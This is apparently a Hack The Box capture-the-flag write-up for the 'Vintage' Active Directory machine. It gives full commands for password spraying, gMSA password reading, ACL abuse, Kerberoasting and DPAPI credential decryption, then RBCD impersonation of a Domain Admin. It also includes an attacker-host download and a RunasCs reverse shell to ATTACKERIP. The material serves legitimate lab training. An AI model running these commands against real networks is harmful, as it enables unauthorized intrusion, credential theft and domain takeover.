# Vintage

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767782835451/2fa726f3-b048-4948-a5f4-738db22d6ac5.png align="center")

As you can see we got an IP and this time we are given starting credential of a valid user so let’s first start the enumeration with NMAP

## ENUMERATION

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767782874793/7222cfbf-c780-429e-bac1-aa37122fb6b6.png align="center")

The scan looks normal so let’s use the given credential in each service but before that don’t forget to add the domain and domain controller name into the **<mark>/etc/hosts</mark>** file

Now let’s check the SMB service

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767842342501/fe2b7971-32c5-409d-82a6-70975286701d.png align="center")

So as you can see that NTLM authentication is disabled so normal SMB authentication wont work so we switched upon Kerberos authentication using **\-k** flag and it succeeded so we can list shares using this authentication

NOTE: Do change you **/etc/krb5.conf** earlier to avoid any problem in future as we know that this machine will use Kerberos Authentications so update the below in your /etc/krb5.conf file

```apache
[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    VINTAGE.HTB = {
        kdc = 10.129.231.205
        admin_server = 10.129.231.205
    }

[domain_realm]
    .vintage.htb = VINTAGE.HTB
    vintage.htb = VINTAGE.HTB
```

So I checked the shares above using impacket-smbclient but didn’t get anything useful so let’s do RID cycling to enumerate users , computers , groups etc

```apache
nxc smb 10.129.231.205 -u P.Rosa -p 'Rosaisbest123' -k --rid-brute
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767843194909/e4194701-6e7e-4dc7-b510-bea1a39e92e6.png align="center")

So we got all users and computer/machine accounts so let’s make a list of them and save it to users.txt file and for passwords we will not use $ for machine accounts as you can see below (pwd.txt)

```plaintext
gMSA01
dc01
fs01
administrator
guest
krbtgt
m.Rossi
r.Verdi
l.Bianchi
g.Viola
c.Neri
p.Rosa
svc_sql
svc_ldap
svc_ark
c.Neri_adm
l.Bianchi_adm
```

Now we have users list so we can bruteforce these users with their same username to see if anyone is using their username as their passwords  
*(NOTE: I already sprayed the Rosaisbest123 password on this list and didn’t got anything)*

```plaintext
nxc smb 10.129.231.205 -u users.txt -p pwd.txt -k --no-bruteforce --continue-on-success
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767844901624/f8860332-e4e7-48ba-9d19-62df02bdb4ae.png align="center")

so we found that FS01$ uses its username as its password  
Now this can also be founded using bloodhound

```plaintext
bloodhound-python -u P.Rosa -p Rosaisbest123 -d vintage.htb -ns 10.129.231.205 -c ALL --zip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767846279304/550b56b9-4aee-4a39-b852-538419c42b57.png align="center")

You can see that the machine account FS01$ belongs/MemberOf [**PRE-WINDOWS 2000 COMPATIBLE ACCESS**](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7a76a403-ed8d-4c39-adb7-a3255cab82c5)**@VINTAGE.HTB**  
So member of this group generally uses their usernames as their password so through that we can understand the above scenario

---

## EXPLOITATION

Now we owned the FS01$ machine account let’s do the enumeration on bloodhound

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767848885892/5cc921b9-720f-4cb8-8484-a3544f41fac6.png align="center")

As you can see FS01 being the member of Domain Computers can **ReadGMSAPassword** of **GMSA01$@VINTAGE.HTB**

So let’s use netexec to read GMSAPassword

```apache
nxc ldap 10.129.231.205 -u fs01$ -p fs01 -k --gmsa
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767849701560/cbf9779a-9799-4067-a5bd-801aa2e88846.png align="center")

We successfully got the NTLM Hash of the gMSA01$ machine account now let’s see again in bloodhound data

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767867691064/df3d64dc-70a7-4a8a-900d-c324430c49ab.png align="center")

As you can see that GMSA01$ machine account has GenericWrite and AddSelf Permission on **SERVICEMANAGERS@VINTAGE.HTB**

So let’s add GMSA01$ account into SERVICEMANAGER group using bloodyAD

```apache
bloodyAD -d vintage.htb --host dc01.vintage.htb -u gmsa01$  -p "NTLM-HASH" -f rc4 -k add groupMember SERVICEMANAGERS 'gMSA01$'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767867704660/08856f6e-7eeb-43b6-b324-42435cf22326.png align="center")

You can easily do this by getting GMSA01$ TGT also then u don’t have to pass user and password hash or even format of the hash

Now we are added to SERVICEMANAGERS group let’s see what this group can do in bloodhound

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767867708144/e36b9a72-e786-4f57-96cc-bdb1cadaef9c.png align="center")

As you can see SERVICEMANAGERS have GenericAll Write on three users and among three two of the users are enabled and one user **svc\_sql** is disabled

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767867736563/77bd3536-cf59-4fb9-8032-54589e71ef63.png align="center")

Since SERVICEMANAGERS have GenericAll on these users we can enable this user and then kerberoast it

First let’s take gMSA01$ TGT to avoid future problems

```apache
getTGT.py vintage.htb/gMSA01$ -hashes :NTLM-HASH
export KRB5CCNAME=gMSA01$.ccache
```

Now let’s try removing the FALSE parameter from the svc\_sql user using bloodyAD

```apache
bloodyAD -d vintage.htb --host dc01.vintage.htb -k remove uac 'svc_sql' -f ACCOUNTDISABLE
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767867740271/97b9f9a7-e287-48c3-9c6d-7e2082a55b13.png align="center")

As you can see the account is successfully removed from the ACCOUNTDISABLE field now let’s target kerberoast it to get the hash of the three accounts  
we will use targeted kerberoast attack

```apache
python3 targetedKerberoast.py -d vintage.htb -k --no-pass --dc-host dc01.vintage.htb
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767872539691/6b1bfcce-97b4-4ead-a100-ee9ac52c56cb.png align="center")

As you can see we get the svc\_sql hash and other two hash too so let’s use john to crack these passwords

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767872812283/a57dd950-8fdc-4f57-889e-a828ba0c19e1.png align="left")

So as you can see we got the svc\_sql password now let’s use this password to spray it on the usernames we got earlier maybe it could be reused somewhere

```apache
nxc smb 10.129.231.205 -k -u users.txt -p 'Zer0the0ne'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767876818427/3262318c-a230-4cb0-a1b5-2e868209a098.png align="center")

Here we go we got another user named as C.Neri let’s login it using evil-winrm as it is a member of Remote Management Users but since winrm normally uses NTLM authentication and this time it is disabled so let’s use the realm method so first grab C.Neri user TGT

```apache
getTGT.py vintage.htb/C.neri:'Zer0the0ne'
export KRB5CCNAME=C.neri.ccache

evil-winrm -i dc01.vintage.htb -r vintage.htb
```

*NOTE: If you are getting KDC\_REALM error do fix your /etc/krb5.conf file*

## USER FLAG

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767877480058/fd719681-f245-4d99-a5fe-8b96baf702ae.png align="center")

Now you can get your user flag

---

## PRIVILEGE ESCALATION

Now Let’s start enumeration for escalating privileges so let’s see for stored credentials first as bloodhound didn’t show anything good for C.Neri user

```apache
cmdkey /list
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767878347461/7d5a83d0-b6ab-47e5-adc4-5935b808fd5b.png align="left")

It showed nothing because we need an Interactive session with a valid profile. The WinRM session is not an interactive session but rather a network logon  
You can find a better explanation on [**Bitvise blog**](https://bitvise.com/wug-logontype)

So now we can use [**RunasCs**](https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_x64) tool to spawn an interactive session so let’s put it into the WinRM session so don’t forget to open a python server in the same directory as RunasCs tool then in WinRM shell do this

```apache
iwr http://YOUR-IP:PORT/RunasCs.exe -OutFile RunasCs.exe

.\RunasCs.exe C.Neri Zer0the0ne cmd.exe -r ATTACKERIP:PORT
```

On your listener you will get the interactive shell and then do the above cmdkey command again

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767879518732/e729c4e4-63da-4333-b02f-b830ede6bf37.png align="left")

As you can see the above stored credentials are of the user **c.neri\_adm** so ,

We could use [**Invoke-WCMDump.ps1**](https://github.com/peewpw/Invoke-WCMDump) to get the stored credentials but on transporting it from the system to shell is triggering the antivirus which is not allowing us to transfer the file into the shell So our second option is  
To look for the Credential Encrypted Blob and DPAPI Master keys to generate a key that can decrypt the Credential blob and give us the plain text password

So we will go back to the evil-winrm shell terminal and then do this

```apache
cd C:/Users/C.Neri/appdata/roaming/Microsoft
gci -force
```

You will se two directories that are use of us  
1) Credentials → It contains encrypted credential Blob which we need to download to crack it  
2) Protect → It contains a SID directory which contain our master key which we needed to generate the key to crack the credentials

Now let’s go and download these files

```apache
cd C:/Users/C.Neri/appdata/roaming/Microsoft/Credentials
gci -force
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767880589968/9a0886e0-aa2a-4d4b-bc60-26c9691da6fc.png align="center")

You will get this Credential Blob so download it using

```apache
download C4BB96844A5C9DD45D5B6A9859252BA6
# it will show error but don't mind it let it be and then check where you started evil winrm session
# in that directory you will see your file when you do ls -la
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767880831875/0229c474-a040-43f9-a6c2-3cbf1f2cb46e.png align="center")

You can match the file size yo ensure that you downloaded the file completely or not

Similarly download master keys too

```apache
cd C:/Users/C.Neri/appdata/roaming/Microsoft/Protect/S-1-5-21-4024337825-2033394866-2055507597-1115/
#(your SID directory may be different so go to that don't just copy)
gci -force
# Now download both master keys 
download 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
```

After you downloaded all three things let’s go to the directory where these files are downloaded and now we will use **Impacket dpapi.py** script to generate key using master keys and then will decrypt credential blob So let’s go

```apache
dpapi.py masterkey -file 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 -sid S-1-5-21-4024337825-2033394866-2055507597-1115
#Enter the password -> Zer0the0ne
```

After this you will get a decrypt key copy that key and do this

```apache
dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 'YOUR-KEY'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767881966557/3c428bc4-faef-429f-9b0c-636f0b046f2f.png align="center")

If you face this Padding Error this means that this is not the master key we needed so then let’s try other one now  
Follow above steps and change the file of master key above and get the new decrypt key and copy it and then again

```apache
dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 'YOUR-KEY'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767882155820/6f3098f7-0abf-47a1-8c76-53642643b605.png align="center")

Here we go we got the C.Neri\_adm user credentials now let’s see what this user can do in bloodhound

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767885289438/07dd7795-cef1-49d8-98df-053cdcfe4c76.png align="center")

So We can see that C.NERI\_ADM has GenericWrite and AddSelf rights on DelegatedAdmins group and

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767885633633/1cc6ccfe-02ad-44ec-9517-0a0d43a0882e.png align="center")

L.Bianchi\_adm is a member of DelegatedAdmins and also a Domain Admin so we can do RBCD (Resource Based Constrained Delegation) on it by adding a account which has SPN enabled which in this case is FS01$ machine account and then we can impersonate DC / Domain Admins

So let’s do it

First we have to add C.Neri\_adm into DelegatedAdmins group so that we can add FS01$ account into this group also  
**(Don’t forget to take the TGT for C.Neri\_adm user)**

```apache
bloodyAD -d vintage.htb --host dc01.vintage.htb -k add groupMember DELEGATEDADMINS 'C.neri_adm'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767886198743/b1282773-3408-4595-becb-2b1b83f58994.png align="center")

Now let’s add FS01$ machine account to DELEGATEDADMINS

```apache
bloodyAD -d vintage.htb --host dc01.vintage.htb -k add groupMember DELEGATEDADMINS 'fs01$'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767886263400/e576ded8-724e-4168-ac93-042089bd6778.png align="center")

**Now take FS01$ TGT and export it**

After it successfully added then we can start our impersonation of DC/Domain Admins But  
We cannot impersonate the Administrator account, as it is restricted from network logins. The L.BIANCHI\_ADM user account is also a member of Domain Admins So we can impersonate that user to perform the Delegation attack then get the ticket with an ALT SPN of HTTP and get a WinRM session as WinRM uses HTTP class rather then CIFS

So let’s impersonate either DC or directly L.Bianchi\_adm user as it is the faster approach

```apache
getST.py -spn 'cifs/dc01.vintage.htb' -altservice 'HTTP/dc01.vintage.htb' -impersonate 'l.bianchi_adm' -k -no-pass -dc-ip 10.129.231.205 vintage.htb/fs01$
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767889339807/f91a4a4f-6529-4a73-b17d-4e2aaa492b3f.png align="center")

## ROOT FLAG

```apache
export KRB5CCNAME=l.bianchi_adm@HTTP_dc01.vintage.htb@VINTAGE.HTB.ccache
evil-winrm -i dc01.vintage.htb -r vintage.htb
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767889551214/51cf8849-8b30-4e21-80dd-245a5de79c59.png align="center")

We successfully got in , now you can grab the root flag

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1767889883162/f5554158-d4ab-4745-b4a5-7376ff0a625f.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**